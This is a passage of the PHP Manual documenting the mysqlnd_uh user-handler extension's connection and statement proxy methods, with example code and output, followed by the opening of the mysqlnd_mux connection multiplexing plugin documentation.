  MYSQLND_UH_MYSQLND_COM_INIT_DB => "MYSQLND_UH_MYSQLND_COM_INIT_DB",
  MYSQLND_UH_MYSQLND_COM_QUERY => "MYSQLND_UH_MYSQLND_COM_QUERY",
  MYSQLND_UH_MYSQLND_COM_FIELD_LIST => "MYSQLND_UH_MYSQLND_COM_FIELD_LIST",
  MYSQLND_UH_MYSQLND_COM_CREATE_DB => "MYSQLND_UH_MYSQLND_COM_CREATE_DB",
  MYSQLND_UH_MYSQLND_COM_DROP_DB => "MYSQLND_UH_MYSQLND_COM_DROP_DB",
  MYSQLND_UH_MYSQLND_COM_REFRESH => "MYSQLND_UH_MYSQLND_COM_REFRESH",
  MYSQLND_UH_MYSQLND_COM_SHUTDOWN => "MYSQLND_UH_MYSQLND_COM_SHUTDOWN",
  MYSQLND_UH_MYSQLND_COM_STATISTICS => "MYSQLND_UH_MYSQLND_COM_STATISTICS",
  MYSQLND_UH_MYSQLND_COM_PROCESS_INFO => "MYSQLND_UH_MYSQLND_COM_PROCESS_INFO",
  MYSQLND_UH_MYSQLND_COM_CONNECT => "MYSQLND_UH_MYSQLND_COM_CONNECT",
  MYSQLND_UH_MYSQLND_COM_PROCESS_KILL => "MYSQLND_UH_MYSQLND_COM_PROCESS_KILL",
  MYSQLND_UH_MYSQLND_COM_DEBUG => "MYSQLND_UH_MYSQLND_COM_DEBUG",
  MYSQLND_UH_MYSQLND_COM_PING => "MYSQLND_UH_MYSQLND_COM_PING",
  MYSQLND_UH_MYSQLND_COM_TIME => "MYSQLND_UH_MYSQLND_COM_TIME",
  MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT => "MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT",
  MYSQLND_UH_MYSQLND_COM_CHANGE_USER => "MYSQLND_UH_MYSQLND_COM_CHANGE_USER",
  MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP => "MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP",
  MYSQLND_UH_MYSQLND_COM_TABLE_DUMP => "MYSQLND_UH_MYSQLND_COM_TABLE_DUMP",
  MYSQLND_UH_MYSQLND_COM_CONNECT_OUT => "MYSQLND_UH_MYSQLND_COM_CONNECT_OUT",
  MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED => "MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED",
  MYSQLND_UH_MYSQLND_COM_STMT_PREPARE => "MYSQLND_UH_MYSQLND_COM_STMT_PREPARE",
  MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE => "MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE",
  MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA => "MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA",
  MYSQLND_UH_MYSQLND_COM_STMT_CLOSE => "MYSQLND_UH_MYSQLND_COM_STMT_CLOSE",
  MYSQLND_UH_MYSQLND_COM_STMT_RESET => "MYSQLND_UH_MYSQLND_COM_STMT_RESET",
  MYSQLND_UH_MYSQLND_COM_SET_OPTION => "MYSQLND_UH_MYSQLND_COM_SET_OPTION",
  MYSQLND_UH_MYSQLND_COM_STMT_FETCH => "MYSQLND_UH_MYSQLND_COM_STMT_FETCH",
  MYSQLND_UH_MYSQLND_COM_DAEMON => "MYSQLND_UH_MYSQLND_COM_DAEMON",
  MYSQLND_UH_MYSQLND_COM_END => "MYSQLND_UH_MYSQLND_COM_END",
 );
 return (isset($mapping[$command])) ? $mapping[$command] : 'unknown';
}

function ok_packet_2_string($ok_packet) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_PROT_GREET_PACKET => "MYSQLND_UH_MYSQLND_PROT_GREET_PACKET",
  MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET => "MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET",
  MYSQLND_UH_MYSQLND_PROT_OK_PACKET => "MYSQLND_UH_MYSQLND_PROT_OK_PACKET",
  MYSQLND_UH_MYSQLND_PROT_EOF_PACKET => "MYSQLND_UH_MYSQLND_PROT_EOF_PACKET",
  MYSQLND_UH_MYSQLND_PROT_CMD_PACKET => "MYSQLND_UH_MYSQLND_PROT_CMD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_ROW_PACKET => "MYSQLND_UH_MYSQLND_PROT_ROW_PACKET",
  MYSQLND_UH_MYSQLND_PROT_STATS_PACKET => "MYSQLND_UH_MYSQLND_PROT_STATS_PACKET",
  MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET => "MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET",
  MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET => "MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET",
  MYSQLND_UH_MYSQLND_PROT_LAST => "MYSQLND_UH_MYSQLND_PROT_LAST",
 );
 return (isset($mapping[$ok_packet])) ? $mapping[$ok_packet] : 'unknown';
}

class proxy extends MysqlndUhConnection {
 public function simpleCommandHandleResponse($conn, $ok_packet, $silent, $command, $ignore_upsert_status) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Command '%s'\n", server_cmd_2_string($command));
  printf("OK packet '%s'\n",  ok_packet_2_string($ok_packet));
  $ret = parent::simpleCommandHandleResponse($conn, $ok_packet, $silent, $command, $ignore_upsert_status);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysql = mysql_connect("localhost", "root", "");
mysql_query("SELECT 1 FROM DUAL", $mysql);
?>

The above example will output:

proxy::simpleCommandHandleResponse(array (
  0 => NULL,
  1 => 5,
  2 => false,
  3 => 27,
  4 => true,
))
Command 'MYSQLND_UH_MYSQLND_COM_SET_OPTION'
OK packet 'MYSQLND_UH_MYSQLND_PROT_EOF_PACKET'
proxy::simpleCommandHandleResponse returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Used for establishing secure connections using SSL

  • « MysqlndUhConnection::simpleCommandHandleResponse
  • MysqlndUhConnection::stmtInit »
  • PHP Manual
  • MysqlndUhConnection
  • Used for establishing secure connections using SSL

MysqlndUhConnection::sslSet

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::sslSet — Used for establishing secure connections using SSL

Description

public bool MysqlndUhConnection::sslSet ( mysqlnd_connection $connection , string $key , string $cert , string $ca , string $capath , string $cipher )

Used for establishing secure connections using SSL.

Parameters

connection

Mysqlnd connection handle. Do not modify!

key

The path name to the key file.

cert

The path name to the certificate file.

ca

The path name to the certificate authority file.

capath

The pathname to a directory that contains trusted SSL CA certificates in PEM format.

cipher

A list of allowable ciphers to use for SSL encryption.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::sslSet() example

<?php
class proxy extends MysqlndUhConnection {
 public function sslSet($conn, $key, $cert, $ca, $capath, $cipher) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::sslSet($conn, $key, $cert, $ca, $capath, $cipher);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->ssl_set("key", "cert", "ca", "capath", "cipher");
?>

The above example will output:

proxy::sslSet(array (
  0 => NULL,
  1 => 'key',
  2 => 'cert',
  3 => 'ca',
  4 => 'capath',
  5 => 'cipher',
))
proxy::sslSet returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_ssl_set() - Used for establishing secure connections using SSL

User Contributed Notes

There are no user contributed notes for this page.


Initializes a statement and returns a resource for use with mysqli_statement::prepare

  • « MysqlndUhConnection::sslSet
  • MysqlndUhConnection::storeResult »
  • PHP Manual
  • MysqlndUhConnection
  • Initializes a statement and returns a resource for use with mysqli_statement::prepare

MysqlndUhConnection::stmtInit

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::stmtInit — Initializes a statement and returns a resource for use with mysqli_statement::prepare

Description

public resource MysqlndUhConnection::stmtInit ( mysqlnd_connection $connection )

Initializes a statement and returns a resource for use with mysqli_statement::prepare.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Resource of type Mysqlnd Prepared Statement (internal only - you must not modify it!). The documentation may also refer to such resources using the alias name mysqlnd_prepared_statement.

Examples

Example #1 MysqlndUhConnection::stmtInit() example

<?php
class proxy extends MysqlndUhConnection {
 public function stmtInit($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  var_dump($res);
  $ret = parent::stmtInit($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 1 AS _one FROM DUAL");
$stmt->execute();
$one = NULL;
$stmt->bind_result($one);
$stmt->fetch();
var_dump($one);
?>

The above example will output:

proxy::stmtInit(array (
  0 => NULL,
))
resource(19) of type (Mysqlnd Connection)
proxy::stmtInit returns NULL
resource(246) of type (Mysqlnd Prepared Statement (internal only - you must not modify it!))
int(1)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_stmt_init() - Initializes a statement and returns an object for use with mysqli_stmt_prepare

User Contributed Notes

There are no user contributed notes for this page.


Transfers a result set from the last query

  • « MysqlndUhConnection::stmtInit
  • MysqlndUhConnection::txCommit »
  • PHP Manual
  • MysqlndUhConnection
  • Transfers a result set from the last query

MysqlndUhConnection::storeResult

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::storeResult — Transfers a result set from the last query

Description

public resource MysqlndUhConnection::storeResult ( mysqlnd_connection $connection )

Transfers a result set from the last query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Resource of type Mysqlnd Resultset (internal only - you must not modify it!). The documentation may also refer to such resources using the alias name mysqlnd_resultset.

Examples

Example #1 MysqlndUhConnection::storeResult() example

<?php
class proxy extends MysqlndUhConnection {
 public function storeResult($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::storeResult($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$res = $mysqli->query("SELECT 'Also called buffered result' AS _msg FROM DUAL");
var_dump($res->fetch_assoc());

$mysqli->real_query("SELECT 'Good morning!' AS _msg FROM DUAL");
$res = $mysqli->store_result();
var_dump($res->fetch_assoc());
?>

The above example will output:

proxy::storeResult(array (
  0 => NULL,
))
proxy::storeResult returns NULL
resource(475) of type (Mysqlnd Resultset (internal only - you must not modify it!))
array(1) {
  ["_msg"]=>
  string(27) "Also called buffered result"
}
proxy::storeResult(array (
  0 => NULL,
))
proxy::storeResult returns NULL
resource(730) of type (Mysqlnd Resultset (internal only - you must not modify it!))
array(1) {
  ["_msg"]=>
  string(13) "Good morning!"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_real_query() - Execute an SQL query

User Contributed Notes

There are no user contributed notes for this page.


Commits the current transaction

  • « MysqlndUhConnection::storeResult
  • MysqlndUhConnection::txRollback »
  • PHP Manual
  • MysqlndUhConnection
  • Commits the current transaction

MysqlndUhConnection::txCommit

(PECL mysqlnd-uh >= 1.0.1-alpha, PHP >= 5.4.0)

MysqlndUhConnection::txCommit — Commits the current transaction

Description

public bool MysqlndUhConnection::txCommit ( mysqlnd_connection $connection )

Commits the current transaction.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::txCommit() example

<?php
class proxy extends MysqlndUhConnection {
 public function txCommit($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::txCommit($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->commit();
?>

The above example will output:

proxy::txCommit(array (
  0 => NULL,
))
proxy::txCommit returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_commit() - Commits the current transaction

User Contributed Notes

There are no user contributed notes for this page.


Rolls back current transaction

  • « MysqlndUhConnection::txCommit
  • MysqlndUhConnection::useResult »
  • PHP Manual
  • MysqlndUhConnection
  • Rolls back current transaction

MysqlndUhConnection::txRollback

(PECL mysqlnd-uh >= 1.0.1-alpha, PHP >= 5.4.0)

MysqlndUhConnection::txRollback — Rolls back current transaction

Description

public bool MysqlndUhConnection::txRollback ( mysqlnd_connection $connection )

Rolls back current transaction.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::txRollback() example

<?php
class proxy extends MysqlndUhConnection {
 public function txRollback($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::txRollback($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->rollback();
?>

The above example will output:

proxy::txRollback(array (
  0 => NULL,
))
proxy::txRollback returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_commit() - Commits the current transaction

User Contributed Notes

There are no user contributed notes for this page.


Initiate a result set retrieval

  • « MysqlndUhConnection::txRollback
  • MysqlndUhPreparedStatement »
  • PHP Manual
  • MysqlndUhConnection
  • Initiate a result set retrieval

MysqlndUhConnection::useResult

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::useResult — Initiate a result set retrieval

Description

public resource MysqlndUhConnection::useResult ( mysqlnd_connection $connection )

Initiate a result set retrieval.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Resource of type Mysqlnd Resultset (internal only - you must not modify it!). The documentation may also refer to such resources using the alias name mysqlnd_resultset.

Examples

Example #1 MysqlndUhConnection::useResult() example

<?php
class proxy extends MysqlndUhConnection {
 public function useResult($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::useResult($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->real_query("SELECT 'Good morning!' AS _msg FROM DUAL");
$res = $mysqli->use_result();
var_dump($res->fetch_assoc());
?>

The above example will output:

proxy::useResult(array (
  0 => NULL,
))
proxy::useResult returns NULL
resource(425) of type (Mysqlnd Resultset (internal only - you must not modify it!))
array(1) {
  ["_msg"]=>
  string(13) "Good morning!"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_use_result() - Initiate a result set retrieval
  • mysqli_real_query() - Execute an SQL query

User Contributed Notes

There are no user contributed notes for this page.


The MysqlndUhPreparedStatement class

(PECL mysqlnd-uh >= 1.0.0-alpha)

Introduction

Class synopsis

MysqlndUhPreparedStatement {
/* Methods */
public __construct ( void )
public bool execute ( mysqlnd_prepared_statement $statement )
public bool prepare ( mysqlnd_prepared_statement $statement , string $query )
}

Table of Contents

  • MysqlndUhPreparedStatement::__construct — The __construct purpose
  • MysqlndUhPreparedStatement::execute — Executes a prepared Query
  • MysqlndUhPreparedStatement::prepare — Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « MysqlndUhPreparedStatement
  • MysqlndUhPreparedStatement::execute »
  • PHP Manual
  • MysqlndUhPreparedStatement
  • The __construct purpose

MysqlndUhPreparedStatement::__construct

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhPreparedStatement::__construct — The __construct purpose

Description

public MysqlndUhPreparedStatement::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Executes a prepared Query

  • « MysqlndUhPreparedStatement::__construct
  • MysqlndUhPreparedStatement::prepare »
  • PHP Manual
  • MysqlndUhPreparedStatement
  • Executes a prepared Query

MysqlndUhPreparedStatement::execute

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhPreparedStatement::execute — Executes a prepared Query

Description

public bool MysqlndUhPreparedStatement::execute ( mysqlnd_prepared_statement $statement )

Executes a prepared Query.

Parameters

statement

Mysqlnd prepared statement handle. Do not modify! Resource of type Mysqlnd Prepared Statement (internal only - you must not modify it!).

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhPreparedStatement::execute() example

<?php
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function execute($res) {
  printf("%s(", __METHOD__);
  var_dump($res);
  printf(")\n");
  $ret = parent::execute($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 'Labskaus' AS _msg FROM DUAL");
$stmt->execute();
$msg = NULL;
$stmt->bind_result($msg);
$stmt->fetch();
var_dump($msg);
?>

The above example will output:

stmt_proxy::execute(resource(256) of type (Mysqlnd Prepared Statement (internal only - you must not modify it!))
)
stmt_proxy::execute returns true
bool(true)
string(8) "Labskaus"

See Also

  • mysqlnd_uh_set_statement_proxy() - Installs a proxy for mysqlnd statements
  • mysqli_stmt_execute() - Executes a prepared Query

User Contributed Notes

There are no user contributed notes for this page.


Prepare an SQL statement for execution

  • « MysqlndUhPreparedStatement::execute
  • Mysqlnd_uh Functions »
  • PHP Manual
  • MysqlndUhPreparedStatement
  • Prepare an SQL statement for execution

MysqlndUhPreparedStatement::prepare

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhPreparedStatement::prepare — Prepare an SQL statement for execution

Description

public bool MysqlndUhPreparedStatement::prepare ( mysqlnd_prepared_statement $statement , string $query )

Prepare an SQL statement for execution.

Parameters

statement

Mysqlnd prepared statement handle. Do not modify! Resource of type Mysqlnd Prepared Statement (internal only - you must not modify it!).

query

The query to be prepared.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhPreparedStatement::prepare() example

<?php
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function prepare($res, $query) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $query = "SELECT 'No more you-know-what-I-mean for lunch, please' AS _msg FROM DUAL";
  $ret = parent::prepare($res, $query);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 'Labskaus' AS _msg FROM DUAL");
$stmt->execute();
$msg = NULL;
$stmt->bind_result($msg);
$stmt->fetch();
var_dump($msg);
?>

The above example will output:

stmt_proxy::prepare(array (
  0 => NULL,
  1 => 'SELECT \'Labskaus\' AS _msg FROM DUAL',
))
stmt_proxy::prepare returns true
bool(true)
string(46) "No more you-know-what-I-mean for lunch, please"

See Also

  • mysqlnd_uh_set_statement_proxy() - Installs a proxy for mysqlnd statements
  • mysqli_stmt_prepare() - Prepare an SQL statement for execution
  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd_uh Functions

Table of Contents

  • mysqlnd_uh_convert_to_mysqlnd — Converts a MySQL connection handle into a mysqlnd connection handle
  • mysqlnd_uh_set_connection_proxy — Installs a proxy for mysqlnd connections
  • mysqlnd_uh_set_statement_proxy — Installs a proxy for mysqlnd statements

User Contributed Notes

There are no user contributed notes for this page.


Converts a MySQL connection handle into a mysqlnd connection handle

  • « Mysqlnd_uh Functions
  • mysqlnd_uh_set_connection_proxy »
  • PHP Manual
  • Mysqlnd_uh Functions
  • Converts a MySQL connection handle into a mysqlnd connection handle

mysqlnd_uh_convert_to_mysqlnd

(PECL mysqlnd-uh >= 1.0.0-alpha)

mysqlnd_uh_convert_to_mysqlnd — Converts a MySQL connection handle into a mysqlnd connection handle

Description

resource mysqlnd_uh_convert_to_mysqlnd ( mysqli &$mysql_connection )

Converts a MySQL connection handle into a mysqlnd connection handle. After conversion you can execute mysqlnd library calls on the connection handle. This can be used to access mysqlnd functionality not made available through user space API calls.

The function can be disabled with mysqlnd_uh.enable. If mysqlnd_uh.enable is set to FALSE the function will not install the proxy and always return TRUE. Additionally, an error of the type E_WARNING may be emitted. The error message may read like PHP Warning: mysqlnd_uh_convert_to_mysqlnd(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. You are not allowed to call this function [...].

Parameters

MySQL connection handle

A MySQL connection handle of type mysql, mysqli or PDO_MySQL.

Return Values

A mysqlnd connection handle.

Changelog

Version | Description
5.4.0 | The mysql_connection parameter can now be of type mysql, PDO_MySQL, or mysqli. Before, only the mysqli type was allowed.

Examples

Example #1 mysqlnd_uh_convert_to_mysqlnd() example

<?php
/* PDO user API gives no access to connection thread id */
$mysql_connection = new PDO("mysql:host=localhost;dbname=test", "root", "");

/* Convert PDO MySQL handle to mysqlnd handle */
$mysqlnd = mysqlnd_uh_convert_to_mysqlnd($mysql_connection);

/* Create Proxy to call mysqlnd connection class methods */
$obj = new MySQLndUHConnection();
/* Call mysqlnd_conn::get_thread_id */
var_dump($obj->getThreadId($mysqlnd));

/* Use SQL to fetch connection thread id */
var_dump($mysql_connection->query("SELECT CONNECTION_ID()")->fetchAll());
?>

The above example will output:

int(27054)
array(1) {
  [0]=>
  array(2) {
    ["CONNECTION_ID()"]=>
    string(5) "27054"
    [0]=>
    string(5) "27054"
  }
}

See Also

  • mysqlnd_uh.enable

User Contributed Notes

There are no user contributed notes for this page.


Installs a proxy for mysqlnd connections

  • « mysqlnd_uh_convert_to_mysqlnd
  • mysqlnd_uh_set_statement_proxy »
  • PHP Manual
  • Mysqlnd_uh Functions
  • Installs a proxy for mysqlnd connections

mysqlnd_uh_set_connection_proxy

(PECL mysqlnd-uh >= 1.0.0-alpha)

mysqlnd_uh_set_connection_proxy — Installs a proxy for mysqlnd connections

Description

bool mysqlnd_uh_set_connection_proxy ( MysqlndUhConnection &$connection_proxy [, mysqli &$mysqli_connection ] )

Installs a proxy object to hook mysqlnd's connection objects methods. Once installed, the proxy will be used for all MySQL connections opened with mysqli, mysql or PDO_MYSQL, assuming that the listed extensions are compiled to use the mysqlnd library.

The function can be disabled with mysqlnd_uh.enable. If mysqlnd_uh.enable is set to FALSE the function will not install the proxy and always return TRUE. Additionally, an error of the type E_WARNING may be emitted. The error message may read like PHP Warning: mysqlnd_uh_set_connection_proxy(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. The proxy has not been installed [...].

Parameters

connection_proxy

A proxy object of type MysqlndUhConnection.

mysqli_connection

Object of type mysqli. If given, the proxy will be set for this particular connection only.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 mysqlnd_uh_set_connection_proxy() example

<?php
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("SELECT 'No proxy installed, yet'");

class proxy extends MysqlndUhConnection {
 public function query($res, $query) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::query($res, $query);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli->query("SELECT 'mysqlnd rocks!'");

$mysql = mysql_connect("localhost", "root", "", "test");
mysql_query("SELECT 'Ahoy Andrey!'", $mysql);

$pdo = new PDO("mysql:host=localhost;dbname=test", "root", "");
$pdo->query("SELECT 'Moin Johannes!'");
?>

The above example will output:

proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'mysqlnd rocks!\'',
))
proxy::query returns true
proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'Ahoy Andrey!\'',
))
proxy::query returns true
proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'Moin Johannes!\'',
))
proxy::query returns true

See Also

  • mysqlnd_uh_set_statement_proxy() - Installs a proxy for mysqlnd statements
  • mysqlnd_uh.enable

User Contributed Notes

There are no user contributed notes for this page.


Installs a proxy for mysqlnd statements

  • « mysqlnd_uh_set_connection_proxy
  • Change History »
  • PHP Manual
  • Mysqlnd_uh Functions
  • Installs a proxy for mysqlnd statements

mysqlnd_uh_set_statement_proxy

(PECL mysqlnd-uh >= 1.0.0-alpha)

mysqlnd_uh_set_statement_proxy — Installs a proxy for mysqlnd statements

Description

bool mysqlnd_uh_set_statement_proxy ( MysqlndUhStatement &$statement_proxy )

Installs a proxy for mysqlnd statements. The proxy object will be used for all mysqlnd prepared statement objects, regardless which PHP MySQL extension (mysqli, mysql, PDO_MYSQL) has created them as long as the extension is compiled to use the mysqlnd library.

The function can be disabled with mysqlnd_uh.enable. If mysqlnd_uh.enable is set to FALSE the function will not install the proxy and always return TRUE. Additionally, an error of the type E_WARNING may be emitted. The error message may read like PHP Warning: mysqlnd_uh_set_statement_proxy(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. The proxy has not been installed [...].

Parameters

statement_proxy

The mysqlnd statement proxy object of type MysqlndUhStatement

Return Values

Returns TRUE on success. Otherwise, returns FALSE

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqlnd_uh.enable

User Contributed Notes

There are no user contributed notes for this page.


Change History

Table of Contents

  • PECL/mysqlnd_uh 1.0 series

The Change History lists major changes users need to be aware if upgrading from one version to another. It is a high level summary of selected changes that may impact applications or might even break backwards compatibility. See also the CHANGES file contained in the source for additional changelog information. The commit history is also available.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_uh 1.0 series

1.0.1-alpha

  • Release date: TBD
  • Motto/theme: bug fix release

Feature changes

  • Support of PHP 5.4.0 or later.
  • BC break: MysqlndUhConnection::changeUser() requires additional passwd_len parameter.
  • BC break: MYSQLND_UH_VERSION_STR renamed to MYSQLND_UH_VERSION. MYSQLND_UH_VERSION renamed to MYSQLND_UH_VERSION_ID.
  • BC break: mysqlnd_uh.enabled configuration setting renamed to mysqlnd_uh.enable.

1.0.0-alpha

  • Release date: 08/2010
  • Motto/theme: Initial release

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd connection multiplexing plugin

  • Introduction
  • Concepts
    • Architecture
    • Connection pool
    • Sharing connections
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
  • Predefined Constants
  • Change History
    • PECL/mysqlnd_mux 1.0 series

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The mysqlnd multiplexing plugin (mysqlnd_mux) multiplexes MySQL connections established by all PHP MySQL extensions that use the MySQL native driver (mysqlnd) for PHP.

The MySQL native driver for PHP features an internal C API for plugins, such as the connection multiplexing plugin, which can extend the functionality of mysqlnd. See the mysqlnd for additional details about its benefits over the MySQL Client Library libmysqlclient.

Mysqlnd plugins like mysqlnd_mux operate, for the most part, transparently from a user perspective. The connection multiplexing plugin supports all PHP applications, and all MySQL PHP extensions. It does not change existing APIs. Therefore, it can easily be used with existing PHP applications.

Note:

This is a proof-of-concept. All features are at an early stage. Not all kinds of queries are handled by the plugin yet. Thus, it cannot be used in a drop-in fashion at the moment.

Please, do not use this version in production environments.

Key Features

The key features of mysqlnd_mux are as follows:

  • Transparent and therefore easy to use:

    • Supports all of the PHP MySQL extensions.

    • Little to no application changes are required, dependent on the required usage scenario.

  • Reduces server load and connection establishment latency:

    • Opens less connections to the MySQL server.

    • Less connections to MySQL mean less work for the MySQL server. In a client-server environment scaling the server is often more difficult than scaling the client. Multiplexing helps with horizontal scale-out (scale-by-client).

    • Pooling saves connection time.

    • Multiplexed connection: multiple user handles share the same network connection. Once opened, a network connection is cached and shared among multiple user handles. There is a 1:n relationship between internal network connection and user connection handles.

    • Persistent connection: a network connection is kept open at the end of the web request, if the PHP deployment model allows. Thus, subsequently web requests can reuse a previously opened connection. Like other resources, network connections are bound to the scope of a process. Thus, they can be reused for all web requests served by a process.

Limitations

The proof-of-concept does not support unbuffered queries, prepared statements, and asynchronous queries.

The connection pool is using a combination of the transport method and hostname as keys. As a consequence, two connections to the same host using the same transport method (TCP/IP, Unix socket, Windows named pipe) will be linked to the same pooled connection even if username and password differ. Be aware of the possible security implications.

The proof-of-concept is transaction agnostic. It does not know about SQL transactions.

Note:

Applications must be aware of the consequences of connection sharing connections.

About the name mysqlnd_mux

The shortcut mysqlnd_mux stands for mysqlnd connection multiplexing plugin.

User Contributed Notes

There are no user contributed notes for this page.


Concepts

Table of Contents

  • Architecture
  • Connection pool
  • Sharing connections

This explains the architecture and related concepts for this plugin. Reading and understanding these concepts is required to successfully use this plugin.

User Contributed Notes

There are no user contributed notes for this page.


Architecture

